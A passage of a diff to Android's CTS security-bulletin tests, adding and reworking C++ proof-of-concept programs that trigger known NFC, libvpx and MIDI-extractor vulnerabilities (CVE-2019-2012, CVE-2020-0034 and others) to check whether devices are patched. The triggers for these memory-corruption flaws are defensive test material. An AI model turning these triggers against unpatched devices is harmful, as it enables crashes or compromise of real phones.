-    header_libs: [
-        "libbatteryservice_headers",
-    ],
     srcs: [
         "poc.cpp",
-        "TestInputListener.cpp",
         ":cts_hostsidetests_securitybulletin_memutils",
     ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
     cflags: [
         "-DCHECK_OVERFLOW",
-        "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096",
-        "-Wno-unused-parameter",
-    ],
-    static_libs: [
-        "libinputdispatcher",
-    ],
-    shared_libs: [
-        "libinputflinger_base",
-        "libinputreader",
-        "libinputflinger",
-        "libinputreader",
-        "libbase",
-        "libinput",
-        "liblog",
-        "libutils",
     ],
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
new file mode 100644
index 0000000..97556ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#include "../includes/common.h"
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit (EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+        uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+    void *ptr = malloc(size);
+    if (ptr) {
+        memset(ptr, 0x0, size);
+    }
+    return ptr;
+}
+
+/* States */
+enum {
+    RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+    RW_T3T_CMD_DETECT_NDEF,
+    RW_T3T_CMD_CHECK_NDEF,
+    RW_T3T_CMD_UPDATE_NDEF,
+    RW_T3T_CMD_CHECK,
+    RW_T3T_CMD_UPDATE,
+    RW_T3T_CMD_SEND_RAW_FRAME,
+    RW_T3T_CMD_GET_SYSTEM_CODES,
+    RW_T3T_CMD_FORMAT,
+    RW_T3T_CMD_SET_READ_ONLY_SOFT,
+    RW_T3T_CMD_SET_READ_ONLY_HARD,
+    RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+    /* Sub states for formatting Felica-Lite */
+    RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+     formatting) */
+    RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+     block-read to complete */
+    RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+     block-write to complete */
+    RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+     to complete */
+    /* Sub states for setting Felica-Lite read only */
+    RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+     setting read only) */
+    RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+     to complete */
+    RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+     block-read to complete */
+    RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+     block-write to complete */
+};
+
+enum {
+    P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+    (void) event;
+    (void) p_rw_data;
+}
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {
+}
+
+void GKI_stop_timer(uint8_t) {
+}
+
+void exit_handler(void) {
+    if (p_data) {
+        if (p_data->data.p_data) {
+            free(p_data->data.p_data);
+            p_data->data.p_data = nullptr;
+        }
+        free(p_data);
+        p_data = nullptr;
+    }
+}
+
+int main() {
+    atexit(exit_handler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = { };
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+    GKI_init();
+    rw_init();
+
+    rw_cb.p_cback = &poc_cback;
+    uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+    uint8_t mrti_check = 1, mrti_update = 1;
+    FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
+
+    p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
+    FAIL_CHECK(p_data);
+
+    p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+    FAIL_CHECK(p_data->data.p_data);
+
+    p_data->status = NFC_STATUS_OK;
+    p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
+    p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+    p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK;
+    NFC_HDR *p_msg = (p_data->data).p_data;
+    p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+    uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1);
+    p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+    p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+    uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
+    p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL;
+    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_EVT event = NFC_DATA_CEVT;
+    memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+            NCI_NFCID2_LEN);
+
+    testInProgress = true;
+    p_cb->p_cback(0, event, p_data);
+    testInProgress = false;
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
new file mode 100644
index 0000000..aa9a2f9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-0034",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    compile_multilib: "32",
+    arch: {
+        arm: {
+            include_dirs: [
+                "external/libvpx/config/arm-neon",
+            ],
+            shared_libs: [
+                "libvpx",
+            ],
+            cflags: [
+                "-DTEST_ARM32",
+            ],
+        },
+    },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
new file mode 100644
index 0000000..cc7cc22
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
@@ -0,0 +1,109 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+
+#ifdef TEST_ARM32
+#include <unistd.h>
+#include "../includes/common.h"
+
+#include <string.h>
+#include <algorithm>
+#include <vector>
+#include "vpx/vp8dx.h"
+#include "vpx/vpx_decoder.h"
+#include "vpx_ports/mem_ops.h"
+
+#define IVF_FILE_HDR_SZ 32
+#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */
+
+FILE *fp = nullptr;
+
+void exitHandler(void) {
+    if (fp) {
+        fclose(fp);
+    }
+}
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) {
+    if (testInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+#endif
+
+int32_t main(int32_t argc, char **argv) {
+    (void)argc;
+    (void)argv;
+
+#ifdef TEST_ARM32
+    atexit(exitHandler);
+
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    FAIL_CHECK(argc >= 2);
+    fp = fopen(argv[1], "rb");
+    FAIL_CHECK(fp);
+
+    fseek(fp, 0, SEEK_END);
+    size_t size = ftell(fp);
+    fseek(fp, 0, SEEK_SET);
+    FAIL_CHECK(size > IVF_FILE_HDR_SZ);
+
+    std::vector<uint8_t> buffer(size);
+    FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size);
+
+    vpx_codec_ctx_t codec;
+    vpx_codec_dec_cfg_t cfg;
+    memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t));
+    cfg.threads = 1;
+    FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK);
+
+    uint8_t *data = buffer.data();
+    data += IVF_FILE_HDR_SZ;
+    size -= IVF_FILE_HDR_SZ;
+
+    while (size > IVF_FRAME_HDR_SZ) {
+        size_t frame_size = mem_get_le32(data);
+        size -= IVF_FRAME_HDR_SZ;
+        data += IVF_FRAME_HDR_SZ;
+        frame_size = std::min(size, frame_size);
+
+        testInProgress = true;
+        vpx_codec_decode(&codec, data, frame_size, nullptr, 0);
+        testInProgress = false;
+
+        vpx_codec_iter_t iter = nullptr;
+        vpx_image_t *img = nullptr;
+        while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) {
+            if (img->d_w > img->w || img->d_h > img->h) {
+                return EXIT_VULNERABLE;
+            }
+        }
+        data += frame_size;
+        size -= frame_size;
+    }
+    vpx_codec_destroy(&codec);
+#endif
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
index d6ea446..8249c0c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
@@ -19,6 +19,16 @@
 #include <nfc_api.h>
 #include <rw_int.h>
 
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t* info, void* context) {
+    if (isTestInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
 extern tRW_CB rw_cb;
 void rw_init(void);
 void rw_t2t_handle_rsp(uint8_t* p_data);
@@ -28,6 +38,17 @@
 }
 
 int main() {
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
     tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t;
     rw_init();
     rw_cb.p_cback = &poc_cback;
@@ -38,6 +59,8 @@
     p_t2t->bytes_count = 1;
     p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES;
     uint8_t data[T2T_READ_DATA_LEN];
+    isTestInProgress = true;
     rw_t2t_handle_rsp(data);
+    isTestInProgress = false;
     return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
index 43da25d..6ea13d6 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
@@ -16,46 +16,55 @@
 
 #include <IMediaExtractor.h>
 #include <dlfcn.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <fcntl.h>
-
 #include "../includes/common.h"
 #include "../includes/memutils.h"
 
 #if _32_BIT
 #define LIBNAME "/system/lib/extractors/libmidiextractor.so"
-#define LIBNAME_APEX                                                           \
-  "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmidiextractor.so"
 #elif _64_BIT
 #define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
-#define LIBNAME_APEX                                                           \
-  "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
 #endif
 
 char enable_selective_overload = ENABLE_NONE;
 
 using namespace android;
 
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+int fdData, fdInfo;
+
+void *libHandle = nullptr;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+
 class XMFDataSource : public DataSource {
-public:
-  int mFdData;
-  int mFdInfo;
-  XMFDataSource(int fdData, int fdInfo) {
-    mFdData = fdData;
-    mFdInfo = fdInfo;
+   public:
+    int mFdData;
+    int mFdInfo;
+    XMFDataSource(int fdData, int fdInfo) {
+        mFdData = fdData;
+        mFdInfo = fdInfo;
   }
 
   ~XMFDataSource() = default;
 
-  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
-                         size_t size) {
-    uint32_t infoOffset, infoSize;
-    read(mFdInfo, &infoSize, sizeof(int32_t));
-    read(mFdInfo, &infoOffset, sizeof(int32_t));
-    lseek(mFdData, infoOffset, SEEK_SET);
-    read(mFdData, data, infoSize);
-    return size;
+  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) {
+      uint32_t infoOffset, infoSize;
+      read(mFdInfo, &infoSize, sizeof(int32_t));
+      read(mFdInfo, &infoOffset, sizeof(int32_t));
+      lseek(mFdData, infoOffset, SEEK_SET);
+      read(mFdData, data, infoSize);
+      return size;
   }
 
   virtual status_t getSize(off64_t *size) {
@@ -65,57 +74,50 @@
   virtual status_t initCheck() const { return 0; }
 };
 
-void close_resources(int fdData, int fdInfo, void *libHandle) {
-  if (fdData >= 0) {
-    ::close(fdData);
-  }
-  if (fdInfo >= 0) {
-    ::close(fdInfo);
-  }
-  if (libHandle) {
-    dlclose(libHandle);
-  }
+void close_resources() {
+    if (fdData >= 0) {
+        ::close(fdData);
+    }
+    if (fdInfo >= 0) {
+        ::close(fdInfo);
+    }
+    if (libHandle) {
+        dlclose(libHandle);
+    }
 }
 
 int main(int argc, char **argv) {
-  if (argc < 3) {
-    return EXIT_FAILURE;
-  }
-  enable_selective_overload = ENABLE_ALL;
-  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
-  if (!libHandle) {
-    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    atexit(close_resources);
+
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    FAIL_CHECK(argc == 3);
+    libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
     if (!libHandle) {
-      return EXIT_FAILURE;
-    }
+        libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+        FAIL_CHECK(libHandle);
   }
 
   GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
-  if (!getDef) {
-    dlclose(libHandle);
-    return EXIT_FAILURE;
-  }
+  FAIL_CHECK(getDef);
 
-  int fdData = open(argv[1], O_RDONLY);
-  if (fdData < 0) {
-    dlclose(libHandle);
-    return EXIT_FAILURE;
-  }
-  int fdInfo = open(argv[2], O_RDONLY);
-  if (fdInfo < 0) {
-    close_resources(fdData, fdInfo, libHandle);
-    return EXIT_FAILURE;
-  }
+  fdData = open(argv[1], O_RDONLY);
+  FAIL_CHECK(fdData >= 0);
+
+  fdInfo = open(argv[2], O_RDONLY);
+  FAIL_CHECK(fdInfo >= 0);
 
   sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
-  if (!dataSource) {
-    close_resources(fdData, fdInfo, libHandle);
-    return EXIT_FAILURE;
-  }
+  FAIL_CHECK(dataSource);
+
+  enable_selective_overload = ENABLE_ALL;
+  isTestInProgress = true;
 
   void *meta = nullptr;
   FreeMetaFunc freeMeta = nullptr;
-
   float confidence = 0.0f;
   if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
     getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
@@ -123,7 +125,7 @@
     getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
   }
 
-  close_resources(fdData, fdInfo, libHandle);
-  enable_selective_overload = ENABLE_NONE;
+  isTestInProgress = false;
+  enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
   return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp
index 313f21a7..e72af64 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp
@@ -16,46 +16,55 @@
 
 #include <IMediaExtractor.h>
 #include <dlfcn.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <fcntl.h>
-
 #include "../includes/common.h"
 #include "../includes/memutils.h"
 
 #if _32_BIT
 #define LIBNAME "/system/lib/extractors/libmidiextractor.so"
-#define LIBNAME_APEX                                                           \
-  "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmidiextractor.so"
 #elif _64_BIT
 #define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
-#define LIBNAME_APEX                                                           \
-  "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
 #endif
 
 char enable_selective_overload = ENABLE_NONE;
 
 using namespace android;
 
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+int fdData, fdInfo;
+
+void *libHandle = nullptr;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+
 class XMFDataSource : public DataSource {
-public:
-  int mFdData;
-  int mFdInfo;
-  XMFDataSource(int fdData, int fdInfo) {
-    mFdData = fdData;
-    mFdInfo = fdInfo;
+   public:
+    int mFdData;
+    int mFdInfo;
+    XMFDataSource(int fdData, int fdInfo) {
+        mFdData = fdData;
+        mFdInfo = fdInfo;
   }
 
   ~XMFDataSource() = default;
 
-  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
-                         size_t size) {
-    uint32_t infoOffset, infoSize;
-    read(mFdInfo, &infoSize, sizeof(int32_t));
-    read(mFdInfo, &infoOffset, sizeof(int32_t));
-    lseek(mFdData, infoOffset, SEEK_SET);
-    read(mFdData, data, infoSize);
-    return size;
+  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) {
+      uint32_t infoOffset, infoSize;
+      read(mFdInfo, &infoSize, sizeof(int32_t));
+      read(mFdInfo, &infoOffset, sizeof(int32_t));
+      lseek(mFdData, infoOffset, SEEK_SET);
+      read(mFdData, data, infoSize);
+      return size;
   }
 
   virtual status_t getSize(off64_t *size) {
@@ -65,57 +74,50 @@
   virtual status_t initCheck() const { return 0; }
 };
 
-void close_resources(int fdData, int fdInfo, void *libHandle) {
-  if (fdData >= 0) {
-    ::close(fdData);
-  }
-  if (fdInfo >= 0) {
-    ::close(fdInfo);
-  }
-  if (libHandle) {
-    dlclose(libHandle);
-  }
+void close_resources() {
+    if (fdData >= 0) {
+        ::close(fdData);
+    }
+    if (fdInfo >= 0) {
+        ::close(fdInfo);
+    }
+    if (libHandle) {
+        dlclose(libHandle);
+    }
 }
 
 int main(int argc, char **argv) {
-  if (argc < 3) {
-    return EXIT_FAILURE;
-  }
-  enable_selective_overload = ENABLE_ALL;
-  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
-  if (!libHandle) {
-    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    atexit(close_resources);
+
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    FAIL_CHECK(argc == 3);
+    libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
     if (!libHandle) {
-      return EXIT_FAILURE;
-    }
+        libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+        FAIL_CHECK(libHandle);
   }
 
   GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
-  if (!getDef) {
-    dlclose(libHandle);
-    return EXIT_FAILURE;
-  }
+  FAIL_CHECK(getDef);
 
-  int fdData = open(argv[1], O_RDONLY);
-  if (fdData < 0) {
-    dlclose(libHandle);
-    return EXIT_FAILURE;
-  }
-  int fdInfo = open(argv[2], O_RDONLY);
-  if (fdInfo < 0) {
-    close_resources(fdData, fdInfo, libHandle);
-    return EXIT_FAILURE;
-  }
+  fdData = open(argv[1], O_RDONLY);
+  FAIL_CHECK(fdData >= 0);
+
+  fdInfo = open(argv[2], O_RDONLY);
+  FAIL_CHECK(fdInfo >= 0);
 
   sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
-  if (!dataSource) {
-    close_resources(fdData, fdInfo, libHandle);
-    return EXIT_FAILURE;
-  }
+  FAIL_CHECK(dataSource);
+
+  enable_selective_overload = ENABLE_ALL;
+  isTestInProgress = true;
 
   void *meta = nullptr;
   FreeMetaFunc freeMeta = nullptr;
-
   float confidence = 0.0f;
   if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
     getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
@@ -123,7 +125,7 @@
     getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
   }
 
-  close_resources(fdData, fdInfo, libHandle);
-  enable_selective_overload = ENABLE_NONE;
+  isTestInProgress = false;
+  enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
   return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
index 43da25d..6ea13d6 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
@@ -16,46 +16,55 @@
 
 #include <IMediaExtractor.h>
 #include <dlfcn.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <fcntl.h>
-
 #include "../includes/common.h"
 #include "../includes/memutils.h"
 
 #if _32_BIT
 #define LIBNAME "/system/lib/extractors/libmidiextractor.so"
-#define LIBNAME_APEX                                                           \
-  "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmidiextractor.so"
 #elif _64_BIT
 #define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
-#define LIBNAME_APEX                                                           \
-  "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
 #endif
 
 char enable_selective_overload = ENABLE_NONE;
 
 using namespace android;
 
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+int fdData, fdInfo;
+
+void *libHandle = nullptr;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    _exit(EXIT_FAILURE);
+}
+
 class XMFDataSource : public DataSource {
-public:
-  int mFdData;
-  int mFdInfo;
-  XMFDataSource(int fdData, int fdInfo) {
-    mFdData = fdData;
-    mFdInfo = fdInfo;
+   public:
+    int mFdData;
+    int mFdInfo;
+    XMFDataSource(int fdData, int fdInfo) {
+        mFdData = fdData;
+        mFdInfo = fdInfo;
   }
 
   ~XMFDataSource() = default;
 
-  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
-                         size_t size) {
-    uint32_t infoOffset, infoSize;
-    read(mFdInfo, &infoSize, sizeof(int32_t));
-    read(mFdInfo, &infoOffset, sizeof(int32_t));
-    lseek(mFdData, infoOffset, SEEK_SET);
-    read(mFdData, data, infoSize);
-    return size;
+  virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) {
+      uint32_t infoOffset, infoSize;
+      read(mFdInfo, &infoSize, sizeof(int32_t));
+      read(mFdInfo, &infoOffset, sizeof(int32_t));
+      lseek(mFdData, infoOffset, SEEK_SET);
+      read(mFdData, data, infoSize);
+      return size;
   }
 
   virtual status_t getSize(off64_t *size) {
@@ -65,57 +74,50 @@
   virtual status_t initCheck() const { return 0; }
 };
 
-void close_resources(int fdData, int fdInfo, void *libHandle) {
-  if (fdData >= 0) {
-    ::close(fdData);
-  }
-  if (fdInfo >= 0) {
-    ::close(fdInfo);
-  }
-  if (libHandle) {
-    dlclose(libHandle);
-  }
+void close_resources() {
+    if (fdData >= 0) {
+        ::close(fdData);
+    }
+    if (fdInfo >= 0) {
+        ::close(fdInfo);
+    }
+    if (libHandle) {
+        dlclose(libHandle);
+    }
 }
 
 int main(int argc, char **argv) {
-  if (argc < 3) {
-    return EXIT_FAILURE;
-  }
-  enable_selective_overload = ENABLE_ALL;
-  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
-  if (!libHandle) {
-    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    atexit(close_resources);
+
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    FAIL_CHECK(argc == 3);
+    libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
     if (!libHandle) {
-      return EXIT_FAILURE;
-    }
+        libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+        FAIL_CHECK(libHandle);
   }
 
